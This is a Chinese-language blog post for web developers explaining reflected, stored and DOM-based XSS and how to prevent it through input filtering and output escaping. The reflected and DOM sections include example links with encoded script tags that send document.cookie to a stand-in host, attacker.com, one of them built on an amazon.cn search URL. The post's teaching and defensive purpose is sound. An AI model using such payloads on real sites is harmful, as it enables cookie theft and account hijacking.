The World of TomasRan

web开发的职业素养:拒绝XSS

简介

XSS攻击的全称是 Cross Site Scripting(跨站脚本攻击),为了避免和样式表CSS混淆而简写为XSS(既生瑜何生亮 :<)。

攻击目的

XSS攻击使用web应用,服务器,或者所依赖的插件系统的已知漏洞进行攻击。攻击者通过一些手段,将一些恶意内容,比如js脚本,插入到受攻击的网站。用户使用浏览器进行访问时就会受到攻击。

那么受到攻击有什么危害呢?对用户来讲,比较常见的就是受害者网站的cookie、session等敏感数据遭到泄露(这些数据一般保存着用户登陆状态等信息,攻击者拿到这些就可以登陆用户的账号随心所欲的操作);而对于网站来讲,也许会影响用户体验,包括而不限于可能因此遭到DOS攻击等等。危害性不容小觑。

在web安全中的地位

很多网站都爆发过XSS漏洞,其中不乏互联网巨头,比如Twitter,Facebook,YouTube等等,虽然在互联网安全中已经受到了相当的重视(如果想要了解web中目前比较关注的安全问题,OWASP Top 10 千千万万不要错过,它绝对是你在网站安全建设过程中的绝佳帮手),但是大量的XSS漏洞仍在前赴后继。或是缺少经验,或是用户数据并不十分敏感,亦或是互联网风暴席卷而来时疯了一样的迭代速度所限制的安全投入。

XSS攻击的类型

XSS攻击一般总结为如下三类,第三类攻击可能并不常见一些,在此也稍作说明以示全貌(有时也被划分为两大类:持久化和非持久化的XSS攻击)。

基于反射的攻击(非持久化)

基于反射的XSS攻击一般是服务器端根据用户的输入或者查询条件返回了带有恶意脚本的结果并在客户端执行。这种漏洞常见于各种搜索引擎之中。

举例

比如我们在亚马逊的搜索栏中输入以下图示代码:

后端服务器接收到用户输入之后进行查询,发现查询不到类似结果,于是返回如下:

当然了,亚马逊并不存在XSS漏洞,这是正常的结果。那么存在XSS漏洞的搜索是如何表现的呢?

以上述流程为例,当我们在搜索栏中输入对应的恶意脚本代码,服务器端进行处理,当未找到匹配内容时简单返回我们输入的查询字符串。那么,这时候如果网站前端或者服务器端没有对查询字符串做恰当的处理,只是简单返回并插入到页面中,那这段恶意脚本代码很可能被当做正常的script标签解释执行。后果很明显,我们泄露了自己账户的cookie。

那么攻击者是如何进行攻击的呢?他自然不是站在你身旁,威胁你输入上面的脚本,那还不如自己亲自去查看来的迅速。他在发现网站存在基于反射的XSS漏洞之后,通过某种方式给你提供下面一条链接,将恶意代码塞入查询条件中,如下例的’field_keywords’字段,诱导你去点击:

https://www.amazon.cn/s/ref=nb_sb_noss?__mk_zh_CN=%E4%BA%9A%E9%A9%AC%E9%80%8A%E7%BD%91%E7%AB%99&url=search-alias%3Daps&field-keywords=%3Cscript+src%3D%27attacker.com%3Fcookie%3D%27+%2B+document.cookie%3E%3C%2Fscript%3E&rh=i%3Aaps%2Ck%3A%3Cscript+src%3D%27attacker.com%3Fcookie%3D%27+%2B+document.cookie%3E%3C%2Fscript%3E

而当你点击的片刻,你对应网站的cookie也就泄露了。

总结

这就是基于反射的XSS攻击,因为攻击代码并不是存储在受攻击网站的服务器上,也称之为非持久化攻击。攻击的代码一般在服务器端的response中可以找见。

基于存储的攻击

基于存储的XSS攻击也是向目标网站注入可执行脚本,但是攻击者的恶意代码会被存储到网站服务器上,因此划分为基于存储的XSS攻击。这种漏洞常见于一般的社交网站的评论系统等。

举例

我们去百度贴吧上回帖,回帖的内容是一段恶意的脚本代码,我们点击发表。

我们的评论也就被后端服务器存储到数据库中。接下来我们去查看刚才发表的评论:

现在的百度贴吧自然也不存在XSS漏洞。我们还是介绍过程。

那么可以想见,我们的评论被存储到后台数据库中,当别人看帖时,我们的评论自然也会从数据库读取出来展示。那么如果存在XSS漏洞,前后端没有对我们提交的评论进行恰当的处理,这段提交的代码也很可能被当做正常的标签语句解释执行,结果自然也是cookie泄露。

总结

基于存储的XSS漏洞的攻击方式一目了然,因为基于存储,属于一种持久化攻击。这种XSS攻击,攻击者的代码从服务器端返回的response中取得。

基于DOM的攻击

基于DOM的攻击可以说是基于反射的XSS攻击的子类,它也是非持久化的。它的特别之处就在于服务端并不会接触到攻击的脚本,攻击由客户端代码执行之后发生。

举例

攻击者向受害者发送了一个攻击连接:

http://some.site/page.html?default<script+src%3Dattacker.com%3Fcookie%3Ddocument.cookie><%2Fscript>

当受害者点击这个链接时,便会向服务器端发送请求,服务器端返回资源、数据,但并没有接触url中的default参数。

这个default参数有什么用呢?它被本地的js代码读取执行,将参数对应的值插入页面,由于没有对参数值做恰当处理,浏览器可能会将这段恶意代码解释执行,于是触发了XSS攻击。

总结

基于DOM的漏洞并不是很常见,服务器端不会touch到它,因此与基于反射的XSS攻击有所不同,它是本地js代码的执行漏洞,服务器端并不能采取有效措施解决它而是依赖于客户端代码。

如何防御XSS漏洞

通过以上详述,我们应该可以理解到所谓的XSS攻击主要是因为浏览器端错误执行了恶意的脚本所致。我们所要做的工作自然就是杜绝这些恶意的脚本(比如针对带有恶意脚本的请求拒绝服务),或者将这些脚本转化为浏览器不会执行的文本(也就是转义)。

最稳妥的考虑方式是将任何数据都视为不可信任,根据数据要置于的上下文都进行恰当的转义。退一步当然也可以划分信任数据域和不信任数据域分而治之。

这样一个原则在解决XSS漏洞时也具有很强的适用性:过滤输入,转义输出。